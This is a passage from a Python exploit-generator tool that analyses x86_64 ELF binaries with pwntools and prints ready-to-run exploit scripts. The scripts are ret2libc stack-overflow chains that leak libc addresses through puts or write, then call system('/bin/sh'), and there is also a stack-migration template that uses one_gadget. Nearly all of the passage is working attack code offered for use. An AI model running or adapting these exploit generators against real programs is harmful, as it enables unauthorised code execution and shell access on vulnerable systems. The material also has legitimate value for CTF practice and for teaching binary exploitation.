payload2+="+p64("+hex(rdi)+")"+"+p64(sh)+p64("+hex(ret)+")"+"+p64(system)" 1053 | 1054 | print("[+]the utilization point exp is:") 1055 | print("from pwn import *") 1056 | print("context.log_level='debug'") 1057 | print("elf=ELF("+"'"+file_name+"'"+")") 1058 | print("libc=ELF("+"'"+libc_addr+"'"+")") 1059 | print("r=process("+"'"+file_name+"'"+")") 1060 | print(payload1) 1061 | print("r.send(payload1)") 1062 | print("leak=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00+'))") 1063 | print("base=leak-libc.sym['puts']") 1064 | print("sh=base+next(libc.search('/bin/sh'))") 1065 | print("system=base+libc.sym['system']") 1066 | print(payload2) 1067 | print("r.send(payload2)") 1068 | print("r.interactive()") 1069 | print("") 1070 | else: 1071 | payload1="payload1="+"'"+'a'+"'"+"*"+hex(stackoverflow_size[i])+"+p64("+hex(rdi)+")"+"+p64(" 1072 | payload1+=hex(elf.got['puts'])+")"+"+p64("+hex(elf.plt['puts'])+")"+"+p64("+hex(main_addr)+")" 1073 | 1074 | payload2="payload2="+"'"+'a'+"'"+"*"+hex(stackoverflow_size[i]) 1075 | payload2+="+p64("+hex(rdi)+")"+"+p64(sh)"+"+p64(system)" 1076 | 1077 | print("[+]the utilization point exp is:") 1078 | print("from pwn import *") 1079 | print("context.log_level='debug'") 1080 | print("elf=ELF("+"'"+file_name+"'"+")") 1081 | print("libc=ELF("+"'"+libc_addr+"'"+")") 1082 | print("r=process("+"'"+file_name+"'"+")") 1083 | print(payload1) 1084 | print("r.send(payload1)") 1085 | print("leak=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00+'))") 1086 | print("base=leak-libc.sym['puts']") 1087 | print("sh=base+next(libc.search('/bin/sh'))") 1088 | print("system=base+libc.sym['system']") 1089 | print(payload2) 1090 | print("r.send(payload2)") 1091 | print("r.interactive()") 1092 | print("") 1093 | elif (write_addr>0): 1094 | if(stackoverflow_input_size[i]-stackoverflow_size[i]>0x38): 1095 | if file_os==18: 1096 | payload1="payload1="+"'"+'a'+"'"+"*"+hex(stackoverflow_size[i])+"+p64("+hex(rdi)+")"+"+p64(1)"+"+p64("+hex(pop_rsi_r15_ret)+")"+"+p64(" 1097 | payload1+=hex(elf.got['write'])+")"+"+p64(0)"+"+p64("+hex(elf.plt['write'])+")"+"+p64("+hex(main_addr)+")" 1098 | 1099 | payload2="payload2="+"'"+'a'+"'"+"*"+hex(stackoverflow_size[i]) 1100 | payload2+="+p64("+hex(rdi)+")"+"+p64(sh)+p64("+hex(ret)+")"+"+p64(system)" 1101 | 1102 | print("[+]the utilization point exp is:") 1103 | print("from pwn import *") 1104 | print("context.log_level='debug'") 1105 | print("elf=ELF("+"'"+file_name+"'"+")") 1106 | print("libc=ELF("+"'"+libc_addr+"'"+")") 1107 | print("r=process("+"'"+file_name+"'"+")") 1108 | print(payload1) 1109 | print("r.send(payload1)") 1110 | print("leak=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00+'))") 1111 | print("base=leak-libc.sym['write']") 1112 | print("sh=base+next(libc.search('/bin/sh'))") 1113 | print("system=base+libc.sym['system']") 1114 | print(payload2) 1115 | print("r.send(payload2)") 1116 | print("r.interactive()") 1117 | print("") 1118 | else: 1119 | payload1="payload1="+"'"+'a'+"'"+"*"+hex(stackoverflow_size[i])+"+p64("+hex(rdi)+")"+"+p64(1)"+"+p64("+hex(pop_rsi_r15_ret)+")"+"+p64(" 1120 | payload1+=hex(elf.got['write'])+")"+"+p64(0)"+"+p64("+hex(elf.plt['write'])+")"+"+p64("+hex(main_addr)+")" 1121 | 1122 | payload2="payload2="+"'"+'a'+"'"+"*"+hex(stackoverflow_size[i]) 1123 | payload2+="+p64("+hex(rdi)+")"+"+p64(sh)+p64("+hex(ret)+")"+"+p64(system)" 1124 | 1125 | print("[+]the utilization point exp is:") 1126 | print("from pwn import *") 1127 | print("context.log_level='debug'") 1128 | print("elf=ELF("+"'"+file_name+"'"+")") 1129 | print("libc=ELF("+"'"+libc_addr+"'"+")") 1130 | print("r=process("+"'"+file_name+"'"+")") 1131 | print(payload1) 1132 | print("r.send(payload1)") 1133 | print("leak=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00+'))") 1134 | print("base=leak-libc.sym['write']") 1135 | print("sh=base+next(libc.search('/bin/sh'))") 1136 | print("system=base+libc.sym['system']") 1137 | print(payload2) 1138 | print("r.send(payload2)") 1139 | print("r.interactive()") 1140 | print("") 1141 | def stack_migration(file_name,file_os):#栈迁移模板,暂时只支持getshell,需要用户自行判断onegadget用哪个,因为我这个是静态分析没办法的,做不到动态内存判断寄存器 1142 | print("[+]Hey man,This is just a suggested template") 1143 | print("[+]because the stack of stack migration sometimes needs to be filled with padding to varying degrees.") 1144 | print("[+]I can't guarantee that I can help you attack successfully 100%.") 1145 | elf=ELF(file_name) 1146 | bss_addr=elf.get_section_by_name('.bss').header.sh_addr 1147 | print('.bss===>' + str(hex(bss_addr))) 1148 | ret=next(elf.search(asm("ret"))) 1149 | rdi=next(elf.search(asm("pop rdi;ret"))) 1150 | pop_rsi_r15_ret=next(elf.search(asm("pop rsi;pop r15;ret"))) 1151 | libc_addr="/lib/x86_64-linux-gnu/libc.so.6" 1152 | if elf.pie!=True: 1153 | if puts_addr>0: 1154 | for i in range(len(stack_migration_addr)): 1155 | payload1="payload1="+"'"+'a'+"'"+"*"+hex(stack_migration_size[i])+"+p64("+hex(bss_addr+0x200) 1156 | payload1+=")"+"+p64("+hex(stack_migration_addr[i])+")" 1157 | 1158 | payload2="payload2="+"'"+'a'+"'"+"*"+hex(stack_migration_size[i])+"+p64("+hex(bss_addr+0x200+stack_migration_size[i]) 1159 | payload2+=")"+"+p64("+hex(stack_migration_addr[i])+")" 1160 | 1161 | payload3="payload3=p64(0)+p64("+hex(rdi)+")"+"+p64("+hex(elf.got['puts'])+")"+"+p64("+hex(elf.plt['puts'])+")"+"+p64("+hex(stack_migration_addr[i])+")" 1162 | 1163 | payload4="payload4=p64(0)*4+p64(one)" 1164 | 1165 | print("[+]hay,look at me!This one=base+onegadget you should choice which onegadget is you need") 1166 | print("[+]the utilization point exp is:") 1167 | print("from pwn import *") 1168 | print("context.log_level='debug'") 1169 | print("elf=ELF("+"'"+file_name+"'"+")") 1170 | print("libc=ELF("+"'"+libc_addr+"'"+")") 1171 | print("r=process("+"'"+file_name+"'"+")") 1172 | print(payload1) 1173 | print("r.send(payload1)") 1174 | print("sleep(0.2)") 1175 | print(payload2) 1176 | print("r.send(payload2)") 1177 | print("sleep(0.2)") 1178 | print(payload3) 1179 | print("r.send(payload3)") 1180 | print("sleep(0.2)") 1181 | print("leak=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00+'))") 1182 | print("base=leak-libc.sym['puts']") 1183 | print("sh=base+next(libc.search('/bin/sh'))") 1184 | print("system=base+libc.sym['system']") 1185 | print("'''") 1186 | cmd = os.popen("one_gadget /lib/x86_64-linux-gnu/libc.so.6") 1187 | onegadgets=cmd.read() #利用管道获取onegadgets 1188 | print(onegadgets) 1189 | print("'''") 1190 | print("one=base+your_choice_onegadget") 1191 | print(payload4) 1192 | print("r.send(payload4)") 1193 | print("r.interactive()") 1194 | print("") 1195 | 1196 | 1197 | def banner(): 1198 | banner=''' 1199 | ████████ ██ ██ ████████ ████████ 1200 | ░██░░░░░ ░██ ░██░░░░░░██ ░░░░░░██ 1201 | ░██ ░██ ░██ ██ ██ 1202 | ░███████ ░██ ░██ ██ ██ 1203 | ░██░░░░ ░██ ░██ ██ ██ 1204 | ░██ ░██ ░██ ██ ██ 1205 | ░██ ░░███████ ████████ ████████ 1206 | ░░ ░░░░░░░ ░░░░░░░░ ░░░░░░░░ 1207 | 1208 | ——Powered By HRP 1209 | 1210 | ''' 1211 | print(banner) 1212 | 1213 | syscall_table=[] 1214 | def init(): 1215 | try: 1216 | with open(r'syscall_table.txt' ,'r') as f: 1217 | for line in f: 1218 | syscall_table.append(line.strip().split(',')[0]) #a.append(b):是将b原封不动的追加到a的末尾上,会改变a的值 1219 | #strip()用于移除字符串头尾指定的字符(默认为空格或者换行符)或字符序列 1220 | 1221 | except Exception as e: 1222 | print("[+]please give me syscall_table.txt") 1223 | exit(0) 1224 | else: 1225 | pass 1226 | finally: 1227 | pass 1228 | banner() 1229 | 1230 | if __name__ == '__main__': 1231 | init() 1232 | if len(sys.argv)<2: 1233 | print("[+]please input file name!") 1234 | exit(0) 1235 | try: 1236 | file_name=sys.argv[1]#外部获取文件名 1237 | elf=ELF(file_name) 1238 | if elf.arch=='i386': 1239 | print("[+]WE DO NOT SUPPORT I386 BINARY!") 1240 | exit(0) 1241 | except Exception as e: 1242 | print("[+]not found file,please check your name!") 1243 | else: 1244 | search_call_what(elf,file_name) 1245 | finally: 1246 | pass 1247 | --------------------------------------------------------------------------------